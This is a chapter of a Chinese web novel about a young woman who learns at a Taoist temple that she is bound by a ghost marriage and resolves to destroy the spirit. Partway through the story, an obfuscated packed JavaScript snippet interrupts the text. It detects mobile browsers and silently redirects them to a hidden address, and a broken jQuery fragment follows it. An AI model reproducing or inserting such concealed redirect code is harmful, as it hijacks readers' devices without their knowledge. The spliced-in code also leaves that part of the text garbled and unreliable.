9. 第9章杀心

作品:《破咒

    “这是?”郁峤的目光在两人之间转了一圈,很显然两人是认识的。


    “你是容时他朋友吗?”大嗓门道士朝郁峤咧嘴一笑,一排牙齿白得耀眼,“我叫岑骅,算是方容时的发小。”


    “你好,我叫郁峤,是方容时的朋友。”郁峤大大方方地自我介绍,“你是这里的道士吗?好厉害!”


    “也就一般般啦。”岑骅摆了摆手,另一只手很顺溜地就搭上了方容时的肩膀,“好久不见啦,哥们。”


    “爪子拿开,好热。”方容时略有些不耐烦地躲开了。


    看来两人关系不是太好,郁峤默默后退一步站在了方容时身边,观察着两人之间的氛围。


    “那快进来吧,进来吹空调。”岑骅用大拇指往后一指,“师父他老人家也好久没见你了。”


    师父?郁峤看向方容时。


    “我小时候有家亲戚在这里修行,我爸妈工作没时间,于是放寒暑时就干脆把我往山上一扔,我在这里也确实生活了很长一段时间。”方容时立马心领神会解释起来,“他师父就是我小爷爷,我爸爸的叔叔,虽然辈分大,但实际也就大我们二十岁。”


    “这样啊。”郁峤若有所思的点点头,想到了什么,“啊,那你前面说的都是真的?”


    “嗯。”方容时笑而不语。


    “喂。你该不会谎报年龄了吧?”郁峤用手肘戳了戳方容时的肚子。


    “你猜呀,说不定我是个活了很久的老妖怪呢?”方容时哈哈一笑,“其实是因为小时候还有些地方没有开发,我跟岑骅又喜欢乱跑所以才找到那么些路的……”说着不好意思的挠了挠脸颊。


    “你这还从来没有跟我讲过诶。”郁峤撇撇嘴,“没想到你藏这么深。”


    “以后慢慢告诉你。”方容时将头轻轻歪向郁峤,态度有些暧昧又不失边界。


    “可以啊。”郁峤哼唧。


    “就是因为乱跑,结果有一次在山里迷路了,被找到后被师父用柳体抽了一顿。”虽然明眼人都能看出两人之间的氛围,但岑骅还是强行挤进话题,“哇,我跟你说,那个柳条沾水打人可疼了!”


    “哈哈哈哈,我小时候也有类似的经历。”郁峤跟人交往习惯雨露均沾,自然的接过了岑骅的话,三个人一边往内院走一边简单交换了一些儿童趣事,不过都她跟岑骅在说,方容时在一旁默默听着。


    这所道观规模很大,跟郁峤在网络上看的那种大观大差不差,虽然建筑古色古香,但也不缺现代设备,路灯、监控、空调一应俱全,一路看来道观里穿着道士袍子的人并不多,游客也不多,大概因为是饭点,大多数人都去食堂了。


    “虽然看着大,但观里其实没几个人,也就师父跟几个年纪较小的师弟在观里住,我外出读研,也就假期回来看看。”岑骅看出了郁峤的疑惑。


    郁峤点点头,方容时也四处看着,应该是在找哪些地方与记忆里有所不同。


    “我带你去看看方容时以前住过的地方。”岑骅越聊越起劲,短短几分钟的时间就把方容时小时候被青蛙吓到、好不容易写完的寒假作业被老鼠啃碎等各种倒霉事都抖落出来了,完全没注意跟在后面脸色越来越无语的方容时,“还有,小时候我跟师父逼着他留长头发,你别说,他小时候可好看了,跟女孩子一样漂亮,只可惜没能看见他穿小裙子。”


    再给他两分钟估计能把方容时小时候穿什么颜色的四角裤郁峤都清楚了。


    “有什么事情能吃完饭再说吗?”方容时忍无可忍地打断了两位,有些不耐烦了,再仔细看还能发现这家伙耳朵红了。


    郁峤第一次见方容时露出这种表情,显得整个人都生动了起来。


    “对对对,我们先去吃饭吧。”郁峤应声附和,虽然她也很想看方容时穿小裙子,但她还是站在方容时这边的。


    路过前面的神堂后面就是大家居住的地方,食堂在最后面。


    今天食堂的人不多,大多数都已经开始就餐了,菜品不多,有炒土豆丝、木耳炒腐竹、解暑的绿豆汤还有素菜打卤面,虽然都是素的,不过大夏天吃点清淡正正好。


    三人打好饭找到位置坐好。郁峤因为胃口原因只吃了一点饭,后面在狂喝绿豆粥,绿豆粥冰冰凉凉口感绵密甜度适中,郁峤打算等一下问问能不能打包一些带走。


    方容时食量适当,每份都装了一点,吃地也很斯文得体。


    而岑骅简直就是方容时的极端反面,不仅饭量大,吃相也很豪放,一边吃一边嘴巴还要跟郁峤聊天,恨不得要把他遇见的各种好玩的事情都跟郁峤一次性说完,这才认识几十分钟,郁峤就已经听到好几个八卦故事了。


    “还有一次,是个极品,跑来问师父要干什么能够让女朋友放弃事业回家跟他结婚生孩子,还要把女朋友的房子跟钱全给他的,真敢讲啊,他以为我师父是许愿池里的王-八啊?”岑骅滔滔不绝,完全没有注意到一个身影出现在自己身后,然后一个响亮的带着劲风的巴掌扇向了他的后脑勺。


    “说谁是许愿池的王-八!”一个留着山羊胡但实际没多大年纪的大叔出现在了岑骅身后,跟他梳着一样的发型,生动形象地演绎着什么叫吹胡子瞪眼。


    郁峤还是第一次看见这么“动画”的人物。


    “师父!”岑骅抱着脑袋嚷了一声,“下手也太狠了。”


    “容时回来啦。”山羊胡子大叔冷哼一声,看向方容时时声音软和了些,对两人的态度简直两模两样。


    “嗯。”方容时点点头,“这位就是我小爷爷,你叫他叔叔也行。”


    那不就跟你差辈分了吗?郁峤心想,但白占的便宜还是要占一下,毕竟对着这么年轻的脸叫爷爷还真叫不出来。


    “叔叔您好。”郁峤礼貌地对他打了声招呼。


    “你好。”方叔叔将郁峤仔仔细细上下打量了一番,原本还微笑着一副和煦表情,结果越看眉头越皱,都快要拧到一起去了。


    看医生的时候发现医生的表情越来越凝重那肯定不会是什么好事,郁峤看着方叔的脸色,原本因为出来玩而稍微好些的心情又瞬间提了起来。


    “你们吃完了吗?”方叔用下巴指了指桌子上的餐盘。


    “吃饱了。”岑骅忙不迭将餐盘里最后几口饭扒啦进嘴里,起身收拾餐盘,动作利索迅速。


    “吃饱了就跟我过来吧。”方叔颔首,转身离开。


    郁峤愣愣地看着收拾碗筷的岑骅跟方叔离开的背影,咽了口口水,感觉这位大叔好像是中学的教导主任,真是一股强大的压迫感。


    方叔将三人领到了一间小房间里,看样子是个书房,巨大的红木桌上摆着文房四宝跟一-大叠黄-色的符纸,榉木书架上摆放着不少书籍跟一些郁峤在电视上见过但叫不上名字的法器,还有一些没见过的,让人不明觉厉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114201|164151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “印堂发黑,阳气空虚,周身还萦绕着一股邪气,你这是八字被人偷了送给什么不干净的东西了。”方叔直入主题,“给我看看你的左手。”


    郁峤听话地伸出手,露出了手腕上的红痕,众人眉头皆是一皱。


    “鬼婚吗?”只看了一眼方叔就得出来结论,瞥了一眼方容时,又看向郁峤,“看来这个东西还挺喜欢你的,你知道你自己的八字吗?”


    “不清楚。”郁峤摇头,在大学之前她甚至不清楚自己的农历生日,“但是我知道农历生日。”


    “也行,你跟我说说。”


    郁峤告诉了他自己的生日,方叔听完就掐起手指算了起来,一旁的岑骅也默默算了一下,很快得出结论,“这个八字还蛮好的诶。”


    “确实很不错。”方叔点点头。


    “好?”郁峤一脸问号,自己学历一般家境一般财力也一般就连运气也差得很,到底哪里好了。


    “算好的,虽然不是什么大富大贵,但也能安稳度日,不会遭逢什么特大变故,只是有个人误打误撞取走了你的八字给你招来了祸患。”方叔解释,“回去后让你父母离那些人远一点就没事了。但现在祸已酿成,你身边正有个鬼丈夫缠着你呢。”


    “有什么办法摆脱它吗?”郁峤忍不住问。


    “当然可以,”方叔点点头,“不过你现在的情况有点麻烦,要是早点来……”


    “嗯?”郁峤眨眨眼睛。


    “也很麻烦。”幽你一默。


    “这样,我给你个符,你先贴身带着,至少可以让那个东西暂时无法吸取你的阳气,不然再这样下去你就要被它吸光了。”说着,就走到红木桌后,抽出一张符纸拿起一支灌墨毛笔在纸上画了起来,行云流水,虽然郁峤一点也没看懂。


    很快一张符就画完了,然后认真将其叠起,跟一些米粒铜钱一起塞进了一个黑色的三角小袋子里,跟郁峤同事的那个一模一样。


    “戴上这个,注意不要碰水,最近晚上不要出门。”方叔将做好的东西递给郁峤,头也不抬地整理刚刚用过的东西。


    “这个只是暂时的,以后每隔一个月就来找我换一个,具体要看现实情况,万一那玩意硬是要你的命这个东西也挡不住多久,不过……”方叔抬眼看了一眼站在一旁做背景板的方容时,“你也不用太担心,它大概也不会这么执着一个人的。”


    “没有完全的解决办法吗?”郁峤问,她最讨厌的就是“暂时”与“不确定”,这样关乎生死的大事她必须踏实。


    “有啊。”方叔不假思索,抬起眼皮看向郁峤,“但是很麻烦。”


    “我不嫌麻烦。”郁峤直视着他的眼睛,眼神坚定。


    “你想怎么解决。”


    “我能怎么解决?”


    “两种办法,”方叔举起手伸出一根手指,“一,找到那张写着你八字的红纸,把它拿出来烧掉,这个东西的概率会在神像座下。二,就是找到神像真身,在正午阳气最重的时候——端午节最佳,把它拿到太阳底下浇上公鸡血,再拿桃木剑将其刺穿,这样这个东西就彻底毁灭了,再无后顾之忧了。步骤都很简单的,就看你想做到哪一步了。”


    哪一步?在听见解决办法后一股强烈的想法就从郁峤的心里挣脱了出来,郁峤几乎是毫不犹豫地就选择了这个。


    “我选择第二种。”郁峤斩钉截铁,“我要杀了它。”